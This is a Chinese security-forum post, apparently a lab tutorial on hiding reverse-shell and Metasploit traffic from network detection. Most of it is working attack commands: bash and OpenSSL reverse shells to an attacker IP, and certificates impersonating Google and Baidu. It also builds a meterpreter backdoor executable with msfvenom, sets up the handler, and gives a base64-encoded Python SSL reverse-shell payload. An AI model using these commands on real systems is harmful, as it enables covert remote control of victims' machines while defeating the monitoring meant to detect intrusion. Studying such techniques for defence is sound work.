安全矩阵

 找回密码
 立即注册
搜索
查看: 2684|回复: 0

流量加密之MSF流量加密

[复制链接]

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
发表于 2022-4-1 13:40:35 | 显示全部楼层 |阅读模式

    内容目录1.openssl反弹加密shell
      1.1未加密前
      1.2 加密后
    2.MSF流量加密绕过检测
      2.1 OpenSSL创建证书加密
      2.2 impersonate_ssl模块加密
      2.3 使用python模块进行加密(利用失败)
    1.openssl反弹加密shell1.1未加密前
    这里我们准备两个靶机,一个kali一个ubuntu
    kali做受害机,ubuntu做攻击机
    第一步:在ubuntu上监听本地的8080端口
    1. nc -lvpn 7777
    复制代码




    第二步:然后在kali上反弹shell
    1. bash -c 'exec bash -i &>/dev/tcp/192.168.30.131/7777 <&1'
    复制代码





    第三步:然后我们在kali中抓一下数据包,打开wireshark,选择eth0这个网卡


    然后我们在反弹过来的ubuntu上执行一些命令,例如ifconfig,id,pwd等等,然后去wireshark中查看流量包。



    我们看到我们的这些操作都是明文操作,如果对方存在态势感知设备,一定会报警并拦截处理。

    1.2 加密后
    所以我们需要对我们的流量进行一个加密操作,降低被发现的概率。
    这里我们使用的openssl是一个开放源码软件库包,应用程序可以使用这个包来进行安全通信,避免被窃听,同时确定连接者的身份。
    第一步:在我们的攻击端生成自签名证书
    1. openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
    复制代码





    第二步:在攻击机上监听指定端口,这里我选择8888
    1. openssl s_server -quiet -key key.pem -cert cert.pem -port 8888
    复制代码




    第三步:在受害机上执行shell反弹命令(注意修改ip和端口)
    1. mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.30.128:8888 > /tmp/s;
    复制代码




    然后我们就在攻击机上得到了shell,简单执行一些命令,继续开启wireshark进行抓包,查看tcp数据流。

    我们会发现所有数据流量被加密。
    2.MSF流量加密绕过检测
    2.1 OpenSSL创建证书加密
    为了防止主机被入侵,内网中常会有流量审计工具,专门对流量进行特征匹配分析,而我们的msf在内网横向时很容易被检测到,所以我们要做好流量加密的工作。
    我们还是使用openssl生成证书,然后在生成的后门中加入证书。
    第一步:OpenSSL 创建SSL/TLS证书
    1. <pre><code>openssl req -new -newkey rsa:4096 -days 365 -nodes -x509</code></pre><pre><code>-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com"</code></pre><pre><code>-keyout www.google.com.key</code></pre><pre><code>-out www.google.com.crt &&</code></pre><pre><code>cat www.google.com.key www.google.com.crt > www.google.com.pem &&</code></pre><pre><code>rm -f www.google.com.key www.google.com.crt</code></pre>
    复制代码




    第二步:生成带有证书的后门
    1. <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22msfvenom%20-p%20windows%2Fmeterpreter%2Freverse_winhttps%20LHOST%3D192.168.30.128%20LPORT%3D443%20PayloadUUIDTracking%3Dtrue%20HandlerSSLCert%3Dwww.google.com.pem%20StagerVerifySSLCert%3Dtrue%20PayloadUUIDName%3DParanoidStagedPSH%20-f%20exe%20-o%20pentestlab.exe%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.30.128 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f exe -o pentestlab.exe</code></pre>
    2. <span class="cke_reset cke_widget_drag_handler_container" style="background: url(" https:="" csdnimg.cn="" release="" blog_editor_html="" release2.0.8="" ckeditor="" plugins="" widget="" images="" handle.png")="" rgba(220,="" 220,="" 0.5);="" top:="" 0px;="" left:="" 0px;"=""><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" height="15" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15"></span>
    复制代码





    第三步:将生成的木马上传到windows机中,然后msf进行监听。
    在配置监听的时候我们还需要添加两个附加选项,这是为了通知处理程序时它将使用的证书(与有效载荷相同),并在接收到连接时执行SSL证书验证。​​​​​​​
    1. <pre><code>msf6 > use exploit/multi/handler</code></pre><pre><code>msf6 </code>exploit(multi/handler) > set payload windows/meterpreter/reverse_winhttps</pre><pre><code>msf6 exploit(multi/handler) > set lhost 192.168.30.128</code></pre><pre><code>msf6 </code>exploit(multi/handler) > set lport 443</pre><pre><code>msf6 exploit(multi/handler) > set HandlerSSLCert /home/www.google.com.pem</code></pre><pre><code>msf6 exploit(multi/handler) > set StagerVerifySSLCert true</code><code>msf6 exploit(multi/handler) >run</code></pre>
    复制代码


    上线windos机,执行一些命令,然后还是使用wireshark抓包查看tcp数据。


    可以看到流量全部加密了。

    2.2 impersonate_ssl模块加密Metasploit框架内置 auxiliary/gather/impersonate_ssl 模块,可用来自动从信任源创建一个虚假证书。执行完命令会在/root/.msf4/loot/下自动生成可信度高的PEM证书,重复上面的步骤使用该证书即可。​​​​​​​
    1. <pre><code>msf6 > use auxiliary/gather/impersonate_ssl</code></pre><pre><code>msf6 auxiliary(gather/impersonate_ssl) > set RHOST www.baidu.com</code></pre><pre><code>RHOST => www.baidu.com</code></pre><pre><code>msf6 auxiliary(gather/impersonate_ssl) > run</code></pre>
    复制代码




    接下来的步骤就和上面一样了,继续使用msfvenom生成带证书的后门文件。

    2.3 使用python模块进行加密通过MSF生成python可执行的payload。默认生成的是python2的脚本。
    第一步,执行命令,生成py的payload​​​​​​​
    1. <code>┌──(m9㉿kali)-[~/桌面/2]</code><code>└─$ msfvenom -p cmd/unix/reverse_python_ssl lhost=192.168.30.128 lport=4444</code><code>[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload</code><code>[-] No arch selected, selecting arch: cmd from the payload</code><code>No encoder specified, outputting raw payload</code><code>Payload size: 629 bytes</code><code>python -c "exec(import('base64').b64decode(import('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzE5Mi4xNjguMzAuMTI4Jyw0NDQ0KSkKcz1zc2wud3JhcF9zb2NrZXQoc28pCkxLPUZhbHNlCndoaWxlIG5vdCBMSzoKCWRhdGE9cy5yZWN2KDEwMjQpCglpZiBsZW4oZGF0YSk9PTA6CgkJTEsgPSBUcnVlCglwcm9jPXN1YnByb2Nlc3MuUG9wZW4oZGF0YSxzaGVsbD1UcnVlLHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsc3RkZXJyPXN1YnByb2Nlc3MuUElQRSxzdGRpbj1zdWJwcm9jZXNzLlBJUEUpCglzdGRvdXRfdmFsdWU9cHJvYy5zdGRvdXQucmVhZCgpICsgcHJvYy5zdGRlcnIucmVhZCgpCglzLnNlbmQoc3Rkb3V0X3ZhbHVlKQo=')[0]))"</code>
    复制代码



    将python的payload复制下来。

    第二步:在攻击机上做监听​​​​​​​
    1. <pre><code>msf6 > use exploit/multi/handler</code><code>[*] Using configured payload generic/shell_reverse_tcp</code></pre><pre><code>msf6 exploit(multi/handler) > set payload cmd/unix/reverse_python_ssl</code></pre><pre><code>payload => cmd/unix/reverse_python_ssl</code></pre><pre><code>msf6 exploit(multi/handler) > set lhost 192.168.30.128</code><code>lhost => 192.168.30.128</code></pre><pre><code>msf6 exploit(multi/handler) > run</code><code>[*] Started reverse SSL handler on 192.168.30.128:4444</code></pre>
    复制代码


    第三步:在被害机上执行payload



    分别测试了linux和windows,都失败 ,不清楚什么原因
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 14:27 , Processed in 0.013389 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表